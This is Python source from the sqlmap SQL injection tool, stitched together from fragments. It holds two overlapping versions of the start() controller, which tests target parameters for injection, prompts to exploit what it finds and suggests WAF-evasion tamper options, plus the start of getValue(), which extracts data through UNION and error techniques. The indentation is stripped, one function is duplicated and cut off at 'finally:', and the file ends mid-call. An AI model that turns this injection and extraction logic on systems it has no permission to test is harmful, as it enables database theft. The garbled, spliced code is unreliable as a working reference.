def start():
"""
This function calls a function that performs checks on both URL
stability and all GET, POST, Cookie and User-Agent parameters to
check if they are dynamic and SQL injection affected
"""
if conf.hashFile:
crackHashFile(conf.hashFile)
if conf.direct:
initTargetEnv()
setupTargetEnv()
action()
return True
if conf.url and not any((conf.forms, conf.crawlDepth)):
kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))
if conf.configFile and not kb.targets:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target URL, list of targets or google dork"
logger.error(errMsg)
return False
if kb.targets and len(kb.targets) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
logger.info(infoMsg)
hostCount = 0
initialHeaders = list(conf.httpHeaders)
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
try:
if conf.checkInternet:
infoMsg = "checking for Internet connection"
logger.info(infoMsg)
if not checkInternet():
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime(
"%X")
dataToStdout(warnMsg)
while not checkInternet():
dataToStdout('.')
time.sleep(5)
dataToStdout("\n")
conf.url = targetUrl
conf.method = targetMethod.upper(
) if targetMethod else targetMethod
conf.data = targetData
conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders or [])
if conf.randomAgent or conf.mobile:
for header, value in initialHeaders:
if header.upper() == HTTP_HEADER.USER_AGENT.upper():
conf.httpHeaders.append((header, value))
break
conf.httpHeaders = [
conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders))
if conf.httpHeaders[i][0].upper() not in (
__[0].upper() for __ in conf.httpHeaders[i + 1:])
]
initTargetEnv()
parseTargetUrl()
testSqlInj = False
if PLACE.GET in conf.parameters and not any(
(conf.data, conf.testParameter)):
for parameter in re.findall(
r"([^=]+)=([^%s]+%s?|\Z)" %
(re.escape(conf.paramDel or "") or
DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "")
or DEFAULT_GET_POST_DELIMITER),
conf.parameters[PLACE.GET]):
paramKey = (conf.hostname, conf.path, PLACE.GET,
parameter[0])
if paramKey not in kb.testedParams:
testSqlInj = True
break
else:
paramKey = (conf.hostname, conf.path, None, None)
if paramKey not in kb.testedParams:
testSqlInj = True
if testSqlInj and conf.hostname in kb.vulnHosts:
if kb.skipVulnHost is None:
message = "SQL injection vulnerability has already been detected "
message += "against '%s'. Do you want to skip " % conf.hostname
message += "further tests involving it? [Y/n]"
kb.skipVulnHost = readInput(message,
default='Y',
boolean=True)
testSqlInj = not kb.skipVulnHost
if not testSqlInj:
infoMsg = "skipping '%s'" % targetUrl
logger.info(infoMsg)
continue
if conf.multipleTargets:
hostCount += 1
if conf.forms and conf.method:
message = "[#%d] form:\n%s %s" % (hostCount, conf.method,
targetUrl)
else:
message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET,
targetUrl)
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data is not None:
message += "\n%s data: %s" % (
(conf.method
if conf.method != HTTPMETHOD.GET else conf.method)
or HTTPMETHOD.POST, urlencode(conf.data or "")
if re.search(r"\A\s*[<{]", conf.data or "") is None
else conf.data)
if conf.forms and conf.method:
if conf.method == HTTPMETHOD.GET and targetUrl.find(
"?") == -1:
continue
message += "\ndo you want to test this form? [Y/n/q] "
choice = readInput(message, default='Y').upper()
if choice == 'N':
continue
elif choice == 'Q':
break
else:
if conf.method != HTTPMETHOD.GET:
message = "Edit %s data [default: %s]%s: " % (
conf.method, urlencode(conf.data or "")
if re.search(r"\A\s*[<{]", conf.data
or "None") is None else conf.data,
" (Warning: blank fields detected)"
if conf.data and extractRegexResult(
EMPTY_FORM_FIELDS_REGEX, conf.data) else
"")
conf.data = readInput(message, default=conf.data)
conf.data = _randomFillBlankFields(conf.data)
conf.data = urldecode(
conf.data) if conf.data and urlencode(
DEFAULT_GET_POST_DELIMITER,
None) not in conf.data else conf.data
else:
if '?' in targetUrl:
firstPart, secondPart = targetUrl.split('?', 1)
message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart)
test = _randomFillBlankFields(test)
conf.url = "%s?%s" % (firstPart, test)
parseTargetUrl()
else:
message += "\ndo you want to test this URL? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
dataToStdout(os.linesep)
continue
elif choice == 'Q':
break
infoMsg = "testing URL '%s'" % targetUrl
logger.info(infoMsg)
setupTargetEnv()
if not checkConnection(suppressOutput=conf.forms
) or not checkString() or not checkRegexp():
continue
if conf.rParam and kb.originalPage:
kb.randomPool = dict([
_ for _ in kb.randomPool.items() if isinstance(_[1], list)
])
for match in re.finditer(
r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>",
kb.originalPage):
name, _ = match.groups()
options = tuple(
re.findall(r"<option[^>]+\bvalue\s*=\s*[\"']([^\"']+)",
_))
if options:
kb.randomPool[name] = options
checkWaf()
if conf.nullConnection:
checkNullConnection()
if (len(kb.injections) == 0 or
(len(kb.injections) == 1 and kb.injections[0].place is None)
) and (kb.injection.place is None
or kb.injection.parameter is None):
if not any((conf.string, conf.notString, conf.regexp
)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
# NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable
checkStability()
# Do a little prioritization reorder of a testable parameter list
parameters = list(conf.parameters.keys())
# Order of testing list (first to last)
orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI,
PLACE.POST, PLACE.GET)
for place in orderList[::-1]:
if place in parameters:
parameters.remove(place)
parameters.insert(0, place)
proceed = True
for place in parameters:
# Test User-Agent and Referer headers only if
# --level >= 3
skip = (place == PLACE.USER_AGENT and conf.level < 3)
skip |= (place == PLACE.REFERER and conf.level < 3)
# --param-filter
skip |= (len(conf.paramFilter) > 0
and place.upper() not in conf.paramFilter)
# Test Host header only if
# --level >= 5
skip |= (place == PLACE.HOST and conf.level < 5)
# Test Cookie header only if --level >= 2
skip |= (place == PLACE.COOKIE and conf.level < 2)
skip |= (place == PLACE.USER_AGENT and intersect(
USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.REFERER and intersect(
REFERER_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.COOKIE and intersect(
PLACE.COOKIE, conf.skip, True) not in ([], None))
skip |= (place == PLACE.HOST and intersect(
PLACE.HOST, conf.skip, True) not in ([], None))
skip &= not (place == PLACE.USER_AGENT and intersect(
USER_AGENT_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.REFERER and intersect(
REFERER_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.HOST and intersect(
HOST_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.COOKIE and intersect(
(PLACE.COOKIE, ), conf.testParameter, True))
if skip:
continue
if place not in conf.paramDict:
continue
paramDict = conf.paramDict[place]
paramType = conf.method if conf.method not in (
None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
for parameter, value in paramDict.items():
if not proceed:
break
kb.vainRun = False
testSqlInj = True
paramKey = (conf.hostname, conf.path, place, parameter)
if paramKey in kb.testedParams:
testSqlInj = False
infoMsg = "skipping previously processed %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif any(_ in conf.testParameter
for _ in (parameter,
removePostHintPrefix(parameter))):
pass
elif parameter in conf.rParam:
testSqlInj = False
infoMsg = "skipping randomizing %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif parameter in conf.skip or kb.postHint and parameter.split(
' ')[-1] in conf.skip:
testSqlInj = False
infoMsg = "skipping %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif conf.paramExclude and (
re.search(conf.paramExclude, parameter, re.I)
or kb.postHint
and re.search(conf.paramExclude,
parameter.split(' ')[-1], re.I)):
testSqlInj = False
infoMsg = "skipping %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif conf.csrfToken and re.search(
conf.csrfToken, parameter, re.I):
testSqlInj = False
infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter
logger.info(infoMsg)
# Ignore session-like parameters for --level < 4
elif conf.level < 4 and (
parameter.upper() in IGNORE_PARAMETERS
or any(_ in parameter.lower()
for _ in CSRF_TOKEN_PARAMETER_INFIXES)
or parameter.upper().startswith(
GOOGLE_ANALYTICS_COOKIE_PREFIX)):
testSqlInj = False
infoMsg = "ignoring %sparameter '%s'" % (
"%s " % paramType
if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic:
check = checkDynParam(place, parameter, value)
if not check:
warnMsg = "%sparameter '%s' does not appear to be dynamic" % (
"%s " % paramType if paramType != parameter
else "", parameter)
logger.warn(warnMsg)
if conf.skipStatic:
infoMsg = "skipping static %sparameter '%s'" % (
"%s " % paramType if paramType !=
parameter else "", parameter)
logger.info(infoMsg)
testSqlInj = False
else:
infoMsg = "%sparameter '%s' appears to be dynamic" % (
"%s " % paramType if paramType != parameter
else "", parameter)
logger.info(infoMsg)
kb.testedParams.add(paramKey)
if testSqlInj:
try:
if place == PLACE.COOKIE:
pushValue(kb.mergeCookies)
kb.mergeCookies = False
check = heuristicCheckSqlInjection(
place, parameter)
if check != HEURISTIC_TEST.POSITIVE:
if conf.smart or (
kb.ignoreCasted and check
== HEURISTIC_TEST.CASTED):
infoMsg = "skipping %sparameter '%s'" % (
"%s " % paramType if paramType !=
parameter else "", parameter)
logger.info(infoMsg)
continue
infoMsg = "testing for SQL injection on %sparameter '%s'" % (
"%s " % paramType if paramType != parameter
else "", parameter)
logger.info(infoMsg)
injection = checkSqlInjection(
place, parameter, value)
proceed = not kb.endDetection
injectable = False
if getattr(injection, "place",
None) is not None:
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
kb.falsePositives.append(injection)
else:
injectable = True
kb.injections.append(injection)
# In case when user wants to end detection phase (Ctrl+C)
if not proceed:
break
msg = "%sparameter '%s' " % (
"%s " %
injection.place if injection.place
!= injection.parameter else "",
injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
if not readInput(msg,
default='N',
boolean=True):
proceed = False
paramKey = (conf.hostname,
conf.path, None, None)
kb.testedParams.add(paramKey)
if not injectable:
warnMsg = "%sparameter '%s' does not seem to be injectable" % (
"%s " % paramType if paramType !=
parameter else "", parameter)
logger.warn(warnMsg)
finally:
if place == PLACE.COOKIE:
kb.mergeCookies = popValue()
if len(kb.injections) == 0 or (len(kb.injections) == 1
and kb.injections[0].place is None):
if kb.vainRun and not conf.multipleTargets:
errMsg = "no parameter(s) found for testing in the provided data "
errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
if kb.originalPage:
advice = []
if not conf.forms and re.search(
r"<form", kb.originalPage) is not None:
advice.append("--forms")
if not conf.crawlDepth and re.search(
r"href=[\"']/?\w",
kb.originalPage) is not None:
advice.append("--crawl=2")
if advice:
errMsg += ". You are advised to rerun with '%s'" % ' '.join(
advice)
raise SqlmapNoneDataException(errMsg)
else:
errMsg = "all tested parameters do not appear to be injectable."
if conf.level < 5 or conf.risk < 3:
errMsg += " Try to increase values for '--level'/'--risk' options "
errMsg += "if you wish to perform more tests."
if isinstance(conf.technique,
list) and len(conf.technique) < 5:
errMsg += " Rerun without providing the option '--technique'."
if not conf.textOnly and kb.originalPage:
percent = (
100.0 *
len(getFilteredPageContent(kb.originalPage)) /
len(kb.originalPage))
if kb.dynamicMarkings:
errMsg += " You can give it a go with the switch '--text-only' "
errMsg += "if the target page has a low percentage "
errMsg += "of textual content (~%.2f%% of " % percent
errMsg += "page content is text)."
elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
errMsg += " Please retry with the switch '--text-only' "
errMsg += "(along with --technique=BU) as this case "
errMsg += "looks like a perfect candidate "
errMsg += "(low textual content along with inability "
errMsg += "of comparison engine to detect at least "
errMsg += "one dynamic parameter)."
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
errMsg += " As heuristic test turned out positive you are "
errMsg += "strongly advised to continue on with the tests."
if conf.string:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--string' as perhaps the string you "
errMsg += "have chosen does not match "
errMsg += "exclusively True responses."
elif conf.regexp:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--regexp' as perhaps the regular "
errMsg += "expression that you have chosen "
errMsg += "does not match exclusively True responses."
if not conf.tamper:
errMsg += " If you suspect that there is some kind of protection mechanism "
errMsg += "involved (e.g. WAF) maybe you could try to use "
errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
if not conf.randomAgent:
errMsg += " and/or switch '--random-agent'"
raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
else:
# Flush the flag
kb.testMode = False
_saveToResultsFile()
_saveToHashDB()
_showInjections()
_selectInjection()
if kb.injection.place is not None and kb.injection.parameter is not None:
if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
condition = readInput(message, default='Y', boolean=True)
else:
condition = True
if condition:
action()
except KeyboardInterrupt:
if conf.multipleTargets:
warnMsg = "user aborted in multiple target mode"
logger.warn(warnMsg)
message = "do you want to skip to the next target in list? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
return False
elif choice == 'Q':
raise SqlmapUserQuitException
else:
raise
except SqlmapSkipTargetException:
pass
except SqlmapUserQuitException:
raise
except SqlmapSilentQuitException:
raise
except SqlmapBaseException as ex:
errMsg = getSafeExString(ex)
if conf.multipleTargets:
_saveToResultsFile()
errMsg += ", skipping to the next %s" % ("form" if conf.forms
else "URL")
logger.error(errMsg.lstrip(", "))
else:
logger.critical(errMsg)
return False
finally:
showHttpErrorCodes()
if kb.maxConnectionsFlag:
warnMsg = "it appears that the target "
warnMsg += "has a maximum connections "
warnMsg += "constraint"
logger.warn(warnMsg)
if kb.dataOutputFlag and not conf.multipleTargets:
logger.info("fetched data logged to text files under '%s'" %
conf.outputPath)
if conf.multipleTargets:
if conf.resultsFile:
infoMsg = "you can find results of scanning in multiple targets "
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile
logger.info(infoMsg)
return True
def start():
"""
This function calls a function that performs checks on both URL
stability and all GET, POST, Cookie and User-Agent parameters to
check if they are dynamic and SQL injection affected
"""
if conf.direct:
initTargetEnv()
setupTargetEnv()
action()
return True
if conf.url and not any((conf.forms, conf.crawlDepth)):
kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))
if conf.configFile and not kb.targets:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target URL, list of targets or google dork"
logger.error(errMsg)
return False
if kb.targets and len(kb.targets) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
logger.info(infoMsg)
hostCount = 0
initialHeaders = list(conf.httpHeaders)
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
try:
conf.url = targetUrl
conf.method = targetMethod.upper(
) if targetMethod else targetMethod
conf.data = targetData
conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders or [])
initTargetEnv()
parseTargetUrl()
testSqlInj = False
if PLACE.GET in conf.parameters and not any(
[conf.data, conf.testParameter]):
for parameter in re.findall(
r"([^=]+)=([^%s]+%s?|\Z)" %
(re.escape(conf.paramDel or "") or
DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "")
or DEFAULT_GET_POST_DELIMITER),
conf.parameters[PLACE.GET]):
paramKey = (conf.hostname, conf.path, PLACE.GET,
parameter[0])
if paramKey not in kb.testedParams:
testSqlInj = True
break
else:
paramKey = (conf.hostname, conf.path, None, None)
if paramKey not in kb.testedParams:
testSqlInj = True
if testSqlInj and conf.hostname in kb.vulnHosts:
if kb.skipVulnHost is None:
message = "SQL injection vulnerability has already been detected "
message += "against '%s'. Do you want to skip " % conf.hostname
message += "further tests involving it? [Y/n]"
kb.skipVulnHost = readInput(message,
default="Y").upper() != 'N'
testSqlInj = not kb.skipVulnHost
if not testSqlInj:
infoMsg = "skipping '%s'" % targetUrl
logger.info(infoMsg)
continue
if conf.multipleTargets:
hostCount += 1
if conf.forms and conf.method:
message = "[#%d] form:\n%s %s" % (hostCount, conf.method,
targetUrl)
else:
message = "URL %d:\n%s %s%s" % (
hostCount, HTTPMETHOD.GET, targetUrl,
" (PageRank: %s)" % get_pagerank(targetUrl)
if conf.googleDork and conf.pageRank else "")
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data is not None:
message += "\n%s data: %s" % (
(conf.method if conf.method != HTTPMETHOD.GET
else conf.method) or HTTPMETHOD.POST,
urlencode(conf.data) if conf.data else "")
if conf.forms and conf.method:
if conf.method == HTTPMETHOD.GET and targetUrl.find(
"?") == -1:
continue
message += "\ndo you want to test this form? [Y/n/q] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
if conf.method != HTTPMETHOD.GET:
message = "Edit %s data [default: %s]%s: " % (
conf.method,
urlencode(conf.data) if conf.data else "None",
" (Warning: blank fields detected)"
if conf.data and extractRegexResult(
EMPTY_FORM_FIELDS_REGEX, conf.data) else
"")
conf.data = readInput(message, default=conf.data)
conf.data = _randomFillBlankFields(conf.data)
conf.data = urldecode(
conf.data) if conf.data and urlencode(
DEFAULT_GET_POST_DELIMITER,
None) not in conf.data else conf.data
else:
if targetUrl.find("?") > -1:
firstPart = targetUrl[:targetUrl.find("?")]
secondPart = targetUrl[targetUrl.find("?") +
1:]
message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart)
test = _randomFillBlankFields(test)
conf.url = "%s?%s" % (firstPart, test)
parseTargetUrl()
elif test[0] in ("n", "N"):
continue
elif test[0] in ("q", "Q"):
break
else:
message += "\ndo you want to test this URL? [Y/n/q]"
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
pass
elif test[0] in ("n", "N"):
dataToStdout(os.linesep)
continue
elif test[0] in ("q", "Q"):
break
infoMsg = "testing URL '%s'" % targetUrl
logger.info(infoMsg)
setupTargetEnv()
if not checkConnection(suppressOutput=conf.forms
) or not checkString() or not checkRegexp():
continue
checkWaf()
if conf.identifyWaf:
return identifyWaf()
else:
return False
if conf.nullConnection:
checkNullConnection()
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
and (kb.injection.place is None or kb.injection.parameter is None):
if not any(
(conf.string, conf.notString,
conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
# NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable
checkStability()
# Do a little prioritization reorder of a testable parameter list
parameters = conf.parameters.keys()
# Order of testing list (first to last)
orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI,
PLACE.POST, PLACE.GET)
for place in orderList[::-1]:
if place in parameters:
parameters.remove(place)
parameters.insert(0, place)
proceed = True
for place in parameters:
# Test User-Agent and Referer headers only if
# --level >= 3
skip = (place == PLACE.USER_AGENT and conf.level < 3)
skip |= (place == PLACE.REFERER and conf.level < 3)
# Test Host header only if
# --level >= 5
skip |= (place == PLACE.HOST and conf.level < 5)
# Test Cookie header only if --level >= 2
skip |= (place == PLACE.COOKIE and conf.level < 2)
skip |= (place == PLACE.USER_AGENT and intersect(
USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.REFERER and intersect(
REFERER_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.COOKIE and intersect(
PLACE.COOKIE, conf.skip, True) not in ([], None))
skip |= (place == PLACE.HOST and intersect(
PLACE.HOST, conf.skip, True) not in ([], None))
skip &= not (place == PLACE.USER_AGENT and intersect(
USER_AGENT_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.REFERER and intersect(
REFERER_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.HOST and intersect(
HOST_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.COOKIE and intersect(
(PLACE.COOKIE, ), conf.testParameter, True))
if skip:
continue
if kb.testOnlyCustom and place not in (
PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
continue
if place not in conf.paramDict:
continue
paramDict = conf.paramDict[place]
paramType = conf.method if conf.method not in (
None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
for parameter, value in paramDict.items():
if not proceed:
break
kb.vainRun = False
testSqlInj = True
paramKey = (conf.hostname, conf.path, place, parameter)
if paramKey in kb.testedParams:
testSqlInj = False
infoMsg = "skipping previously processed %s parameter '%s'" % (
paramType, parameter)
logger.info(infoMsg)
elif parameter in conf.testParameter:
pass
elif parameter == conf.rParam:
testSqlInj = False
infoMsg = "skipping randomizing %s parameter '%s'" % (
paramType, parameter)
logger.info(infoMsg)
elif parameter in conf.skip or kb.postHint and parameter.split(
' ')[-1] in conf.skip:
testSqlInj = False
infoMsg = "skipping %s parameter '%s'" % (
paramType, parameter)
logger.info(infoMsg)
elif parameter == conf.csrfToken:
testSqlInj = False
infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter
logger.info(infoMsg)
# Ignore session-like parameters for --level < 4
elif conf.level < 4 and (
parameter.upper() in IGNORE_PARAMETERS
or parameter.upper().startswith(
GOOGLE_ANALYTICS_COOKIE_PREFIX)):
testSqlInj = False
infoMsg = "ignoring %s parameter '%s'" % (
paramType, parameter)
logger.info(infoMsg)
elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic:
check = checkDynParam(place, parameter, value)
if not check:
warnMsg = "%s parameter '%s' does not appear dynamic" % (
paramType, parameter)
logger.warn(warnMsg)
if conf.skipStatic:
infoMsg = "skipping static %s parameter '%s'" % (
paramType, parameter)
logger.info(infoMsg)
testSqlInj = False
else:
infoMsg = "%s parameter '%s' is dynamic" % (
paramType, parameter)
logger.info(infoMsg)
kb.testedParams.add(paramKey)
if testSqlInj:
try:
if place == PLACE.COOKIE:
pushValue(kb.mergeCookies)
kb.mergeCookies = False
check = heuristicCheckSqlInjection(
place, parameter)
if check != HEURISTIC_TEST.POSITIVE:
if conf.smart or (
kb.ignoreCasted and check
== HEURISTIC_TEST.CASTED):
infoMsg = "skipping %s parameter '%s'" % (
paramType, parameter)
logger.info(infoMsg)
continue
infoMsg = "testing for SQL injection on %s " % paramType
infoMsg += "parameter '%s'" % parameter
logger.info(infoMsg)
injection = checkSqlInjection(
place, parameter, value)
proceed = not kb.endDetection
injectable = False
if getattr(injection, "place",
None) is not None:
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
kb.falsePositives.append(injection)
else:
injectable = True
kb.injections.append(injection)
# In case when user wants to end detection phase (Ctrl+C)
if not proceed:
break
msg = "%s parameter '%s' " % (
injection.place,
injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
test = readInput(msg, default="N")
if test[0] not in ("y", "Y"):
proceed = False
paramKey = (conf.hostname,
conf.path, None, None)
kb.testedParams.add(paramKey)
if not injectable:
warnMsg = "%s parameter '%s' does not seem to be " % (
paramType, parameter)
warnMsg += "injectable"
logger.warn(warnMsg)
finally:
if place == PLACE.COOKIE:
kb.mergeCookies = popValue()
if len(kb.injections) == 0 or (len(kb.injections) == 1
and kb.injections[0].place is None):
if kb.vainRun and not conf.multipleTargets:
errMsg = "no parameter(s) found for testing in the provided data "
errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
raise SqlmapNoneDataException(errMsg)
else:
errMsg = "all tested parameters appear to be not injectable."
if conf.level < 5 or conf.risk < 3:
errMsg += " Try to increase '--level'/'--risk' values "
errMsg += "to perform more tests."
if isinstance(conf.tech, list) and len(conf.tech) < 5:
errMsg += " Rerun without providing the option '--technique'."
if not conf.textOnly and kb.originalPage:
percent = (
100.0 *
len(getFilteredPageContent(kb.originalPage)) /
len(kb.originalPage))
if kb.dynamicMarkings:
errMsg += " You can give it a go with the switch '--text-only' "
errMsg += "if the target page has a low percentage "
errMsg += "of textual content (~%.2f%% of " % percent
errMsg += "page content is text)."
elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
errMsg += " Please retry with the switch '--text-only' "
errMsg += "(along with --technique=BU) as this case "
errMsg += "looks like a perfect candidate "
errMsg += "(low textual content along with inability "
errMsg += "of comparison engine to detect at least "
errMsg += "one dynamic parameter)."
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
errMsg += " As heuristic test turned out positive you are "
errMsg += "strongly advised to continue on with the tests. "
errMsg += "Please, consider usage of tampering scripts as "
errMsg += "your target might filter the queries."
if not conf.string and not conf.notString and not conf.regexp:
errMsg += " Also, you can try to rerun by providing "
errMsg += "either a valid value for option '--string' "
errMsg += "(or '--regexp')."
elif conf.string:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--string' as perhaps the string you "
errMsg += "have chosen does not match "
errMsg += "exclusively True responses."
elif conf.regexp:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--regexp' as perhaps the regular "
errMsg += "expression that you have chosen "
errMsg += "does not match exclusively True responses."
if not conf.tamper:
errMsg += " If you suspect that there is some kind of protection mechanism "
errMsg += "involved (e.g. WAF) maybe you could retry "
errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')"
raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
else:
# Flush the flag
kb.testMode = False
_saveToResultsFile()
_saveToHashDB()
_showInjections()
_selectInjection()
if kb.injection.place is not None and kb.injection.parameter is not None:
if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y")
condition = not exploit or exploit[0] in ("y", "Y")
else:
condition = True
if condition:
action()
except KeyboardInterrupt:
if conf.multipleTargets:
warnMsg = "user aborted in multiple target mode"
logger.warn(warnMsg)
#message = "do you want to skip to the next target in list? [Y/n/q]"
#test = readInput(message, default="Y")
#
#if not test or test[0] in ("y", "Y"):
# pass
#elif test[0] in ("n", "N"):
# return False
#elif test[0] in ("q", "Q"):
# raise SqlmapUserQuitException
else:
raise
except SqlmapUserQuitException:
raise
except SqlmapSilentQuitException:
raise
except SqlmapBaseException, ex:
errMsg = getSafeExString(ex)
if conf.multipleTargets:
_saveToResultsFile()
errMsg += ", skipping to the next %s" % ("form" if conf.forms
else "URL")
logger.error(errMsg.lstrip(", "))
else:
logger.critical(errMsg)
return False
finally:
def getValue(expression,
blind=True,
union=True,
error=True,
time=True,
fromUser=False,
expected=None,
batch=False,
unpack=True,
resumeValue=True,
charsetType=None,
firstChar=None,
lastChar=None,
dump=False,
suppressOutput=None,
expectingNone=False,
safeCharEncode=True):
"""
Called each time sqlmap inject a SQL query on the SQL injection
affected parameter.
"""
if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms(
):
if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"):
warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms(
)
singleTimeWarnMessage(warnMsg)
conf.hexConvert = False
else:
charsetType = CHARSET_TYPE.HEXADECIMAL
kb.safeCharEncode = safeCharEncode
kb.resumeValues = resumeValue
for keyword in GET_VALUE_UPPERCASE_KEYWORDS:
expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword,
r"\g<1>%s\g<2>" % keyword, expression)
if suppressOutput is not None:
pushValue(getCurrentThreadData().disableStdOut)
getCurrentThreadData().disableStdOut = suppressOutput
try:
pushValue(conf.db)
pushValue(conf.tbl)
if expected == EXPECTED.BOOL:
forgeCaseExpression = booleanExpression = expression
if expression.startswith("SELECT "):
booleanExpression = "(%s)=%s" % (booleanExpression,
"'1'" if "'1'"
in booleanExpression else "1")
else:
forgeCaseExpression = agent.forgeCaseStatement(expression)
if conf.direct:
value = direct(forgeCaseExpression if expected ==
EXPECTED.BOOL else expression)
elif any(
isTechniqueAvailable(_)
for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE,
onlyValues=True)):
query = cleanQuery(expression)
query = expandAsteriskForColumns(query)
value = None
found = False
count = 0
if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query,
re.I):
query = query.replace("DISTINCT ", "")
if not conf.forceDns:
if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
setTechnique(PAYLOAD.TECHNIQUE.UNION)
kb.forcePartialUnion = kb.injection.data[
PAYLOAD.TECHNIQUE.UNION].vector[8]
fallback = not expected and kb.injection.data[
PAYLOAD.TECHNIQUE.
UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
try:
value = _goUnion(
forgeCaseExpression if expected == EXPECTED.BOOL
else query, unpack, dump)
except SqlmapConnectionException:
if not fallback:
raise
count += 1
found = (value is not None) or (
value is None
and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if not found and fallback:
warnMsg = "something went wrong with full UNION "
warnMsg += "technique (could be because of "
warnMsg += "limitation on retrieved number of entries)"
if " FROM " in query.upper():
warnMsg += ". Falling back to partial UNION technique"
singleTimeWarnMessage(warnMsg)
try:
pushValue(kb.forcePartialUnion)
kb.forcePartialUnion = True
value = _goUnion(query, unpack, dump)
found = (value
is not None) or (value is None
and expectingNone)
finally:
kb.forcePartialUnion = popValue()
else:
singleTimeWarnMessage(warnMsg)
if error and any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) and not found:
setTechnique(PAYLOAD.TECHNIQUE.ERROR if
isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR)
else PAYLOAD.TECHNIQUE.QUERY)
value = errorUse(
